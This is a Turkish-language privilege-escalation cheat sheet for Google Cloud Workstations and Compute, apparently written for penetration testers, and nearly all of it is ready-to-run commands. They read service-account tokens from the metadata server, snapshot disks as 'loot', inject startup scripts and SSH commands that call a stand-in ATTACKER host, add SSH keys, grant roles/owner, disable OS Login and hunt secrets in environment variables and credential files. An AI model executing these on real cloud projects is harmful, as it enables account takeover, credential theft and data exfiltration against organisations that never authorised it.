GCP - Cloud Workstations Privesc
GCP privesc
GCP - Cloud Workstations Privesc — GCP ortamında yetki yükseltme ve rol/identity zinciri notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.
Saldırı akışı
Section titled “Saldırı akışı”-
Mevcut principal izinlerini (inline/attached/bound) çıkar.
-
PassRole / setIamPolicy / impersonate / admin primitiflerini doğrula.
-
Yüksek yetkili role/identity’e geçiş PoC’si çalıştır.
-
Yeni kimlikle hesap/proje etkisini kanıtla.
Kimlik / oturum
Section titled “Kimlik / oturum”Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.
gcloud auth listgcloud config get-value projectgcloud auth print-access-token | cut -c1-20Hedef komutlar
Section titled “Hedef komutlar”GCP - Cloud Workstations Privesc için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.
curl -sH 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/tokencurl -sH 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/emailgcloud compute disks listgcloud compute disks snapshot DISK --snapshot-names loot --zone ZONEgcloud compute instances listgcloud compute instances describe INST --zone ZONEgcloud compute instances get-serial-port-output INST --zone ZONEgcloud compute ssh INST --zone ZONE --command 'id;curl ATTACKER'gcloud compute instances add-metadata INST --zone ZONE --metadata startup-script='#!/bin/bashcurl ATTACKER'gcloud compute instances add-metadata INST --zone ZONE --metadata-from-file ssh-keys=keys.txtYükseltme primitifleri
Section titled “Yükseltme primitifleri”Yazma / PassRole / IAM policy / impersonation başarılıysa yeni kimlikle tekrar enum et.
gcloud projects add-iam-policy-binding PROJECT --member='serviceAccount:SA@PROJECT.iam.gserviceaccount.com' --role='roles/owner'gcloud iam service-accounts get-iam-policy SA@PROJECT.iam.gserviceaccount.comgcloud compute instances add-metadata INST --zone ZONE --metadata enable-oslogin=FALSESecret / credential avı
Section titled “Secret / credential avı”Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'printenv | sortfind / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40gcloud secrets listgcloud secrets versions access latest --secret=SECRETRapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.
request/response veya CLI çıktısıhesap / proje / clusteretki: okuma | yazma | RCE | lateralzaman damgası + dosya hashmkdir -p evidence/cloud && tee evidence/cloud/notes.txt